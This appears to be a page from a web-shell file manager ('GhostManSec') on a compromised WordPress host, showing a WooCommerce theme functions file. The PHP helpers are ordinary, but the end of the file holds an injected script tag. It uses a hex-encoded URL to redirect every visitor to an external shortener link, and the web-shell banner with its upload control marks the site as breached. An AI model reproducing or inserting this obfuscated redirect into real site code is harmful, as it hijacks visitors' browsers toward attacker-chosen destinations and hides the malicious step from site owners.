GhostManSec
Server: LiteSpeed
System: Linux premium197.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: parhudrw (1725)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: /home/parhudrw/public_html/wp-content/themes/around/inc/woocommerce/around-woocommerce-function.php
<?php
/**
 * around WooCommerce functions.
 *
 * @package around
 */

/**
 * Checks if the current page is a product archive
 *
 * @return boolean
 */
if ( ! function_exists( 'around_is_product_archive' ) ) {
    function around_is_product_archive() {
        if ( is_shop() || is_product_taxonomy() || is_product_category() || is_product_tag() ) {
            return true;
        } else {
            return false;
        }
    }
}


// if ( ! function_exists( 'around_get_product_archive_layout' ) ) {
//     function around_get_product_archive_layout() {
//         $layout = '';
//         $is_brand = false;

//         if ( class_exists( 'Mas_WC_Brands' ) ) {
//             global $mas_wc_brands;
//             $brand_taxonomy = $mas_wc_brands->get_brand_taxonomy();
//             if ( is_tax ( $brand_taxonomy ) && is_product_taxonomy() ) {
//                 $is_brand = true;
//             }  
//         }

//          if ( around_is_product_archive() && ! $is_brand ) {
//             if ( !is_active_sidebar( 'sidebar-shop' )  ) {
//                 $layout = 'full-width';
//             } else {
//                 $layout = apply_filters( 'around_product_archive_layout', get_theme_mod( 'product_archive_layout', 'left-sidebar' ) );
//             }    
//         }
//         return $layout;
//     }
// }

/**
 * Returns if a sidebar for Shop is available or not
 */
if( ! function_exists( 'around_shop_has_sidebar' ) ) {
    function around_shop_has_sidebar() {
        $layout = around_get_product_archive_layout();

        return $layout !== 'full-width';
    }
}

/**
 * Returns the sidebar of shop page chosen by user
 */
if( ! function_exists( 'around_get_product_archive_layout' ) ) {
    function around_get_product_archive_layout() {

    $available_sidebars = array( 'left-sidebar', 'right-sidebar', 'full-width' );
    if ( around_is_woocommerce_activated() && ( is_shop() || is_product_category() || is_tax( 'product_label' ) || is_tax( get_object_taxonomies( 'product' ) ) ) ) {
        if( is_active_sidebar( 'sidebar-shop' ) ) {
            $sidebar = get_theme_mod( 'product_archive_layout', 'left-sidebar' );
        } else {
            $sidebar = 'full-width';
        }
    } else {
        $sidebar = 'left-sidebar';
    }

    if ( ! in_array( $sidebar, $available_sidebars ) ) {
        $sidebar = 'right-sidebar';
    }

    return sanitize_key( apply_filters( 'around_shop_sidebar', $sidebar ) );

    }
}


if ( ! function_exists( 'around_product_archive_has_sidebar' ) ) {
    function around_product_archive_has_sidebar() {
        $layout = around_get_product_archive_layout();
        return ( 'left-sidebar' === $layout || 'right-sidebar' === $layout );
    }
}



if ( ! function_exists( 'around_wc_handheld_toolbar_toggle_shop_sidebar' ) ) {
    function around_wc_handheld_toolbar_toggle_shop_sidebar() {

        if ( ( is_shop() || is_product_taxonomy() ) && ( is_active_sidebar( 'sidebar-shop' ) ) )  : ?>
            <button class="btn btn-primary btn-sm cs-sidebar-toggle" type="button" data-toggle="offcanvas" data-offcanvas-id="shop-sidebar">
                <i class="fe-filter font-size-base mr-2"></i>
                <?php echo esc_html_x( 'Filters', 'front-end', 'around' ); ?>
            </button>
        <?php
        endif;
    }
}
ob_start();

<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>